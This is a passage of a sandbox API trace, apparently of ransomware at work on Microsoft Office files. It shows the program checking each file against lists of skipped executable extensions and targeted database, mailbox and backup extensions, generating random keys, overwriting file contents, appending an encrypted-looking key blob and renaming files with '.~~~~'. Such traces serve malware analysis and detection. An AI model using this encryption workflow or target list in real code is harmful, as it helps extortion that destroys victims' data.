	[0135.314] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.314] SetFilePointerEx (in: hFile=0x108, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.314] WriteFile (in: hFile=0x108, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.438] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.438] WriteFile (in: hFile=0x108, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.438] CloseHandle (hObject=0x108) returned 1
	[0135.438] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c5080
	[0135.438] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OIS.HXS.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ois.hxs.~~~~")) returned 1
	[0135.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c5080 | out: hHeap=0x300000) returned 1
	[0135.591] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.591] GetLastError () returned 0x0
	[0135.591] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".scr") returned 0x0
	[0135.592] lstrlenW (lpString=".cmd") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".cmd") returned 0x0
	[0135.592] lstrlenW (lpString=".dll") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".dll") returned 0x0
	[0135.592] lstrlenW (lpString=".bat") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".bat") returned 0x0
	[0135.592] lstrlenW (lpString=".cpl") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".cpl") returned 0x0
	[0135.592] lstrlenW (lpString=".sys") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".sys") returned 0x0
	[0135.592] lstrlenW (lpString=".msc") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".msc") returned 0x0
	[0135.592] lstrlenW (lpString=".com") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".com") returned 0x0
	[0135.592] lstrlenW (lpString=".lnk") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".lnk") returned 0x0
	[0135.592] lstrlenW (lpString=".msp") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".msp") returned 0x0
	[0135.592] lstrlenW (lpString=".pif") returned 4
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".pif") returned 0x0
	[0135.592] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.592] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch="msp\r\n.pif") returned 0x0
	[0135.592] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.654] lstrlenW (lpString=".sqb") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".sqb") returned 0x0
	[0135.654] lstrlenW (lpString=".ost") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".ost") returned 0x0
	[0135.654] lstrlenW (lpString=".txt") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".txt") returned 0x0
	[0135.654] lstrlenW (lpString=".mdt") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".mdt") returned 0x0
	[0135.654] lstrlenW (lpString=".BDB") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".BDB") returned 0x0
	[0135.654] lstrlenW (lpString=".eql") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".eql") returned 0x0
	[0135.654] lstrlenW (lpString=".DBF") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DBF") returned 0x0
	[0135.654] lstrlenW (lpString=".EQL") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".EQL") returned 0x0
	[0135.654] lstrlenW (lpString=".FDB") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".FDB") returned 0x0
	[0135.654] lstrlenW (lpString=".EDB") returned 4
	[0135.654] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".EDB") returned 0x0
	[0135.655] lstrlenW (lpString=".DACPAC") returned 7
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DACPAC") returned 0x0
	[0135.655] lstrlenW (lpString=".VHD") returned 4
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".VHD") returned 0x0
	[0135.655] lstrlenW (lpString=".DBV") returned 4
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DBV") returned 0x0
	[0135.655] lstrlenW (lpString=".dacpac") returned 7
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".dacpac") returned 0x0
	[0135.655] lstrlenW (lpString=".sdf") returned 4
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".sdf") returned 0x0
	[0135.655] lstrlenW (lpString=".accdb") returned 6
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".accdb") returned 0x0
	[0135.655] lstrlenW (lpString=".DBX") returned 4
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DBX") returned 0x0
	[0135.655] lstrlenW (lpString=".MDT") returned 4
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".MDT") returned 0x0
	[0135.655] lstrlenW (lpString=".SQB") returned 4
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".SQB") returned 0x0
	[0135.655] lstrlenW (lpString=".vhd") returned 4
	[0135.655] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".vhd") returned 0x0
	[0135.676] lstrlenW (lpString=".bac") returned 4
	[0135.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".bac") returned 0x0
	[0135.676] lstrlenW (lpString=".mdf") returned 4
	[0135.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".mdf") returned 0x0
	[0135.676] lstrlenW (lpString=".BAK") returned 4
	[0135.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".BAK") returned 0x0
	[0135.676] lstrlenW (lpString=".BAC") returned 4
	[0135.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".BAC") returned 0x0
	[0135.676] lstrlenW (lpString=".dbs") returned 4
	[0135.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".dbs") returned 0x0
	[0135.676] lstrlenW (lpString=".vhdx") returned 5
	[0135.676] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".vhdx") returned 0x0
	[0135.677] lstrlenW (lpString=".NDF") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".NDF") returned 0x0
	[0135.677] lstrlenW (lpString=".dat") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".dat") returned 0x0
	[0135.677] lstrlenW (lpString=".DBS") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DBS") returned 0x0
	[0135.677] lstrlenW (lpString=".CKP") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".CKP") returned 0x0
	[0135.677] lstrlenW (lpString=".edb") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".edb") returned 0x0
	[0135.677] lstrlenW (lpString=".PST") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".PST") returned 0x0
	[0135.677] lstrlenW (lpString=".dbf") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".dbf") returned 0x0
	[0135.677] lstrlenW (lpString=".SQL") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".SQL") returned 0x0
	[0135.677] lstrlenW (lpString=".pst") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".pst") returned 0x0
	[0135.677] lstrlenW (lpString=".dbv") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".dbv") returned 0x0
	[0135.677] lstrlenW (lpString=".SDF") returned 4
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".SDF") returned 0x0
	[0135.677] lstrlenW (lpString=".dtxs") returned 5
	[0135.677] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".dtxs") returned 0x0
	[0135.678] lstrlenW (lpString=".db3") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".db3") returned 0x0
	[0135.678] lstrlenW (lpString=".OST") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".OST") returned 0x0
	[0135.678] lstrlenW (lpString=".dbx") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".dbx") returned 0x0
	[0135.678] lstrlenW (lpString=".DB3") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DB3") returned 0x0
	[0135.678] lstrlenW (lpString=".DAT") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DAT") returned 0x0
	[0135.678] lstrlenW (lpString=".VHDX") returned 5
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".VHDX") returned 0x0
	[0135.678] lstrlenW (lpString=".ndf") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".ndf") returned 0x0
	[0135.678] lstrlenW (lpString=".DB") returned 3
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DB") returned 0x0
	[0135.678] lstrlenW (lpString=".sql") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".sql") returned 0x0
	[0135.678] lstrlenW (lpString=".MYD") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".MYD") returned 0x0
	[0135.678] lstrlenW (lpString=".DBT") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DBT") returned 0x0
	[0135.678] lstrlenW (lpString=".ACCDB") returned 6
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".ACCDB") returned 0x0
	[0135.678] lstrlenW (lpString=".fdb") returned 4
	[0135.678] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".fdb") returned 0x0
	[0135.679] lstrlenW (lpString=".bak") returned 4
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".bak") returned 0x0
	[0135.679] lstrlenW (lpString=".myd") returned 4
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".myd") returned 0x0
	[0135.679] lstrlenW (lpString=".DTXS") returned 5
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".DTXS") returned 0x0
	[0135.679] lstrlenW (lpString=".ckp") returned 4
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".ckp") returned 0x0
	[0135.679] lstrlenW (lpString=".dbt") returned 4
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".dbt") returned 0x0
	[0135.679] lstrlenW (lpString=".db") returned 3
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".db") returned 0x0
	[0135.679] lstrlenW (lpString=".TXT") returned 4
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".TXT") returned 0x0
	[0135.679] lstrlenW (lpString=".MDF") returned 4
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".MDF") returned 0x0
	[0135.679] lstrlenW (lpString=".bdb") returned 4
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".bdb") returned 0x0
	[0135.679] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.679] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x29061a8
	[0135.679] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.680] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0620) returned 1
	[0135.681] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.681] CryptReleaseContext (hProv=0x3a0620, dwFlags=0x0) returned 1
	[0135.681] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bd0
	[0135.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0135.681] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=25567134000) returned 1
	[0135.681] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xba4f76d0, dwHighDateTime=0x1d60e1e)) 
	[0135.681] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0135.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3622c0
	[0135.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3572d8
	[0135.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3e4970
	[0135.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3e4970 | out: hHeap=0x300000) returned 1
	[0135.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x398948
	[0135.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.682] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3a8398
	[0135.682] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.682] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0135.683] GetLastError () returned 0x0
	[0135.683] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0135.683] GetLastError () returned 0x0
	[0135.685] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xffffff31, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.685] WriteFile (in: hFile=0x140, lpBuffer=0x2a6b0c0*, nNumberOfBytesToWrite=0xcf, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x2a6b0c0*, lpNumberOfBytesWritten=0x1f8fec0*=0xcf, lpOverlapped=0x0) returned 1
	[0135.685] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a6b0c0 | out: hHeap=0x300000) returned 1
	[0135.685] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.685] WriteFile (in: hFile=0x140, lpBuffer=0x368bd0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368bd0*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.685] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.685] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.685] CloseHandle (hObject=0x140) returned 1
	[0135.686] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x398948
	[0135.686] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_COL.HXT.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_col.hxt.~~~~")) returned 1
	[0135.688] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x398948 | out: hHeap=0x300000) returned 1
	[0135.689] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3572d8 | out: hHeap=0x300000) returned 1
	[0135.689] GetLastError () returned 0x0
	[0135.689] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".scr") returned 0x0
	[0135.689] lstrlenW (lpString=".cmd") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".cmd") returned 0x0
	[0135.690] lstrlenW (lpString=".dll") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".dll") returned 0x0
	[0135.690] lstrlenW (lpString=".bat") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".bat") returned 0x0
	[0135.690] lstrlenW (lpString=".cpl") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".cpl") returned 0x0
	[0135.690] lstrlenW (lpString=".sys") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".sys") returned 0x0
	[0135.690] lstrlenW (lpString=".msc") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".msc") returned 0x0
	[0135.690] lstrlenW (lpString=".com") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".com") returned 0x0
	[0135.690] lstrlenW (lpString=".lnk") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".lnk") returned 0x0
	[0135.690] lstrlenW (lpString=".msp") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".msp") returned 0x0
	[0135.690] lstrlenW (lpString=".pif") returned 4
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".pif") returned 0x0
	[0135.690] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.690] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.690] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.693] lstrlenW (lpString=".sqb") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".sqb") returned 0x0
	[0135.693] lstrlenW (lpString=".ost") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".ost") returned 0x0
	[0135.693] lstrlenW (lpString=".txt") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".txt") returned 0x0
	[0135.693] lstrlenW (lpString=".mdt") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".mdt") returned 0x0
	[0135.693] lstrlenW (lpString=".BDB") returned 4
	[0135.693] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.DLL", lpSrch=".BDB") returned 0x0
